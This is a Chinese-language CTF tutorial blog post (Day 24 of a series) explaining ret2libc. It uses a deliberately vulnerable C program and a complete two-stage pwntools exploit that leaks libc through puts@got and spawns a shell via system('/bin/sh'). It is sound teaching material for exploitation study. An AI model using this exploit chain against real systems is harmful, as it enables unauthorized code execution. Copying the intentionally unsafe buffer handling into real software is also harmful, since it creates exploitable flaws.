iT邦幫忙

2026 iThome 鐵人賽

DAY 24
0

上篇介紹 ROP 時,我們知道了一件事:NX 不讓我們執行 Stack 上的 Shellcode,那就改用 Binary 裡原本就有的 Code。透過 pop rdi ; ret 之類的 Gadget,可以控制 Register,把 Function 一個個串起來。

但最後留了一個問題——如果 Binary 裡根本沒有 win(),也沒有任何能直接拿 Shell 的 Function,怎麼辦?

答案藏在 Linux Process 執行時幾乎一定會載入的東西:libc。

libc 裡面剛好就有 system(),甚至還存著 "/bin/sh" 這個字串。只要能拿到這兩個東西的 Address,就可以用 ROP 組出:

system("/bin/sh");

這就是 ret2libc——Return to libc。


0x00 跟 ret2win 差在哪?

概念其實差不多。ret2win 是 Overflow → 控制 RIP → 跳到 win();ret2libc 只是把目的地從 Main Binary 換成了 libc 裡的 system()。

我們完全沒有注入新的 Machine Code,純粹是把已經存在於 Memory 裡的東西拿來用——典型的 Code Reuse Attack。


0x01 libc 是什麼?

Linux 裡很多常見的 C Function,像 printf()、puts()、read()、malloc()、system() 等等,並不是每個 Binary 自己實作一份,而是由 GNU C Library(glibc)提供。

用 ldd 就能看到 Binary 載入了哪些 Shared Library:

ldd ./chall
linux-vdso.so.1
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6
/lib64/ld-linux-x86-64.so.2

其中 libc.so.6 就是今天的主角。

直接找 Symbol 確認一下:

nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " system"

確實有 system()。再找字串:

strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh"

也有 "/bin/sh"。

x86-64 Linux 的 Calling Convention 裡,第一個 Argument 透過 RDI 傳遞。所以只要把 RDI 指向 "/bin/sh",然後跳到 system(),就等價於 system("/bin/sh")。昨天學的 pop rdi ; ret 終於要派上用場了。


0x02 ASLR 的問題

如果 libc Address 永遠固定,那 ret2libc 根本不需要多想,直接寫死就好。問題是 ASLR 會 Randomize libc 的 Base Address,每次執行都不一樣:

第一次:libc base = 0x7ffff7dc0000
第二次:libc base = 0x7f2319840000

所以不能直接在 Exploit 裡把 system = 0x7ffff7e12490 寫死。

不過有一件事不會變:Offset。

假設 libc 裡 puts 的 Offset 是 0x080e50,不管 Base 怎麼變,puts = libc_base + 0x080e50 這個關係永遠成立。所以只要能 Leak 出 libc 裡任意一個已知 Function 的 Runtime Address,就能把整個 libc 的位置算回來:

libc_base = leaked_address - known_offset

0x03 Two-Stage 思路

因為需要先 Leak 才能算 Address,ret2libc 通常不是一次 Payload 就打完,而是分兩個 Stage。

Stage 1:Leak libc

利用 ROP 執行 puts(puts@got),把 GOT 裡存的 puts Runtime Address 印出來,然後減掉已知的 Offset 算出 libc Base。

Stage 2:拿 Shell

有了 libc Base,就能算出 system 和 "/bin/sh" 的 Address,再送一次 Payload 執行 system("/bin/sh")。


0x04 準備 Challenge

先寫一個有 Stack Buffer Overflow 的程式:

#include <stdio.h>
#include <unistd.h>

__attribute__((naked))
void gadget()
{
    __asm__("pop %rdi; ret");
}

void vuln()
{
    char buf[32];

    puts("Input:");

    read(0, buf, 200);
}

int main()
{
    setvbuf(stdout, NULL, _IONBF, 0);

    vuln();

    return 0;
}

這裡額外塞了一個 pop rdi ; ret 的 Gadget,只是為了確保等等一定找得到。真正在 CTF 裡,通常會直接從 Binary 本身的 Instruction 中尋找。

編譯:

gcc chall.c -o chall \
    -fno-stack-protector \
    -no-pie
pwn checksec chall
Arch:       amd64-64-little
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE

No Canary 代表可以直接 Overflow 到 RIP;NX Enabled 代表不能直接在 Stack 上跑 Shellcode;No PIE 代表 Binary 裡的 Gadget、PLT、GOT Address 都是固定的。唯一不固定的就是 libc——所以我們才需要 Leak。


0x05 GOT 和 PLT 登場

Day 22 講 RELRO 時提過 GOT / PLT,今天它們會真正成為 Exploit 的一部分。

Binary 在呼叫 puts("Input:") 時,自己其實不知道 puts() 最終會被載入到哪——它是透過 PLT 跳板去 GOT 查表,GOT 裡存的才是 puts 在 libc 裡真正的 Runtime Address。

換句話說:

  • puts@plt:幫我呼叫 puts
  • puts@got:這裡存著 puts 真正的 Address

如果我們能讓程式執行 puts(puts@got),就等於是用 puts 把自己的 Runtime Address 印出來——這就是一個 libc Address Leak。


0x06 Stage 1:Leak puts

from pwn import *

context.binary = elf = ELF("./chall")

p = process("./chall")

offset = 40

這裡 40 應該用 cyclic + cyclic_find 自己算,不要看到 char buf[32] 就直接猜。

找 Gadget:

rop = ROP(elf)

pop_rdi = rop.find_gadget([
    "pop rdi",
    "ret"
]).address

我們要做的是 puts(puts@got),按照 Calling Convention:RDI = puts@got,RIP 跳到 puts@plt。Leak 完之後還需要再來一次 Overflow,所以最後接回 main():

payload = flat(
    b"A" * offset,

    pop_rdi,
    elf.got["puts"],

    elf.plt["puts"],

    elf.symbols["main"]
)

這條 ROP Chain 做的事情是:先 pop rdi 把 puts@got 放進 RDI,接著呼叫 puts@plt 印出 Leak,最後跳回 main() 等待第二次 Payload——典型的 Two-Stage ROP。


0x07 解析 Leak

p.sendlineafter(b"Input:\n", payload)

leak = p.recvline().rstrip(b"\n")

x86-64 的 Address 是 8 Bytes,但 User Space Address 前面通常只有 6 Bytes 有值,所以要補零到 8 Bytes:

puts_leak = u64(
    leak.ljust(8, b"\x00")
)

log.info(
    f"puts leak: {hex(puts_leak)}"
)

可能得到類似 0x7ffff7e40e50 的值。ASLR 的第一層防線到這裡已經被突破了。


0x08 算出 libc Base

載入本機 libc(實際路徑用 ldd ./chall 確認):

libc = ELF(
    "/lib/x86_64-linux-gnu/libc.so.6"
)

pwntools 可以直接拿到 puts 在 libc 裡的 Offset,所以:

libc.address = \
    puts_leak - libc.symbols["puts"]

log.info(
    f"libc base: {hex(libc.address)}"
)

舉例:

puts leak   = 0x7ffff7e40e50
puts offset =        0x080e50
libc base   = 0x7ffff7dc0000

到這裡,整個 libc 在 Memory 裡的位置就被我們算出來了。


0x09 找 system 和 /bin/sh

有了 libc Base,剩下的事很直接。因為前面已經設了 libc.address,pwntools 取得的 Address 會自動是 Runtime Address:

system = libc.symbols["system"]

binsh = next(
    libc.search(b"/bin/sh\x00")
)

log.info(
    f"system: {hex(system)}"
)

log.info(
    f"/bin/sh: {hex(binsh)}"
)

所有零件到齊。


0x0A Stage 2:system("/bin/sh")

按照 Calling Convention,RDI 放 "/bin/sh",RIP 跳到 system:

payload = flat(
    b"A" * offset,

    pop_rdi,
    binsh,

    system
)

p.sendlineafter(
    b"Input:\n",
    payload
)

p.interactive()

順利的話:

$ id
uid=1000(...)

$ whoami
user

第一個繞過 NX + ASLR 的 Exploit 完成。


0x0B Stack Alignment 的坑

實際寫的時候,有時候 Address 全部正確,system() 卻直接 Crash。

這通常是 Stack Alignment 的問題。x86-64 System V ABI 要求進入 Function 時 RSP 必須 16-byte aligned。正常的 call 指令會 Push Return Address 讓 RSP 自然對齊,但 ROP 是直接靠 ret 跳來跳去,很容易把 Alignment 搞壞。libc 裡某些地方用了 movaps 等需要對齊的 SIMD 指令,一旦 RSP 沒對齊就直接 Segfault。

解法很簡單——在 ROP Chain 前面多塞一個單獨的 ret Gadget,讓 RSP 多跳 8 Bytes 重新對齊:

ret = rop.find_gadget([
    "ret"
]).address

payload = flat(
    b"A" * offset,

    ret,

    pop_rdi,
    binsh,

    system
)

所以之後如果遇到「GDB 裡正常但直接跑會 Crash」或「Address 明明正確卻 Segfault」,第一個該想到的就是 Stack Alignment。


0x0C 完整 Exploit

from pwn import *

context.binary = elf = ELF("./chall")

libc = ELF(
    "/lib/x86_64-linux-gnu/libc.so.6"
)

p = process("./chall")

offset = 40

# -------------------------
# Gadgets
# -------------------------

rop = ROP(elf)

pop_rdi = rop.find_gadget([
    "pop rdi",
    "ret"
]).address

ret = rop.find_gadget([
    "ret"
]).address


# -------------------------
# Stage 1
# Leak puts
# -------------------------

payload = flat(
    b"A" * offset,

    pop_rdi,
    elf.got["puts"],

    elf.plt["puts"],

    elf.symbols["main"]
)

p.sendlineafter(
    b"Input:\n",
    payload
)

leak = p.recvline().rstrip(b"\n")

puts_leak = u64(
    leak.ljust(8, b"\x00")
)

log.info(
    f"puts leak: {hex(puts_leak)}"
)


# -------------------------
# Calculate libc Base
# -------------------------

libc.address = \
    puts_leak - libc.symbols["puts"]

log.info(
    f"libc base: {hex(libc.address)}"
)


# -------------------------
# Resolve system & /bin/sh
# -------------------------

system = libc.symbols["system"]

binsh = next(
    libc.search(b"/bin/sh\x00")
)

log.info(
    f"system: {hex(system)}"
)

log.info(
    f"/bin/sh: {hex(binsh)}"
)


# -------------------------
# Stage 2
# system("/bin/sh")
# -------------------------

payload = flat(
    b"A" * offset,

    ret,

    pop_rdi,
    binsh,

    system
)

p.sendlineafter(
    b"Input:\n",
    payload
)

p.interactive()

程式看起來比前幾天長不少,但核心就是兩條 ROP Chain:第一條 puts(puts@got) 做 Leak,第二條 system("/bin/sh") 拿 Shell。


0x0D Local 打得通,Remote 為什麼不行?

這是 ret2libc 很常踩到的坑。

假設你 Local 用的是某個版本的 glibc,但 Server 用的是另一版——即使 puts 的 Leak 是對的,拿你自己的 libc 去算 system 和 "/bin/sh" 的 Offset 也會全部錯掉,因為不同版本的 libc 裡這些 Symbol 的位置不一樣。

所以 CTF 題目如果需要 ret2libc,通常會一起給你 libc.so.6 和 ld-linux-x86-64.so.2。Exploit 裡應該載入題目提供的 libc:

libc = ELF("./libc.so.6")

而不是直接用自己機器上的。有 Leak 不代表任何 libc 都能算,你還需要知道 Server 到底用哪一版。


0x0E 為什麼 ret2libc 重要?

表面上看起來只是呼叫了一個 system("/bin/sh"),但它其實是第一次把前面學的零散概念真正串在一起:Stack Buffer Overflow、Control RIP、ROP、Calling Convention、GOT / PLT、Information Leak、ASLR Bypass——全部在一個 Exploit 裡用上了。

更重要的是,它帶出了一個之後會不斷重複的思考方式:

ASLR 讓你不知道 Address?那就先 Leak,再算回來。

Leak → Calculate Base → Exploit 這個 Pattern,之後不管碰到 PIE、Heap Address 還是 Stack Canary,都會一再出現。

從這裡開始,Pwn 的思考模式會從「哪裡有 Overflow?」慢慢轉變成:我現在知道什麼?可以控制什麼?還缺什麼資訊?有沒有辦法 Leak 出來?


0x0F 小結

ret2libc 的核心流程:

  • Stage 1:pop rdi ; ret → puts@got → puts@plt → main,Leak 出 puts 的 Runtime Address,算出 libc Base
  • Stage 2:ret → pop rdi ; ret → "/bin/sh" → system,拿 Shell

到目前為止,我們都假設 Binary 裡很容易找到 pop rdi ; ret。如果 Gadget 不夠呢?如果需要一次控制 RDI、RSI、RDX 來呼叫更複雜的 Function 呢?

下一篇繼續深入 ROP,看看更多 Gadget 搜尋與 Chain 組合的方式。


上一篇
Day23|ROP
系列文
從零開始の Binary CTF:30 天系統化學習 Rev & Pwn 共 24 篇
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言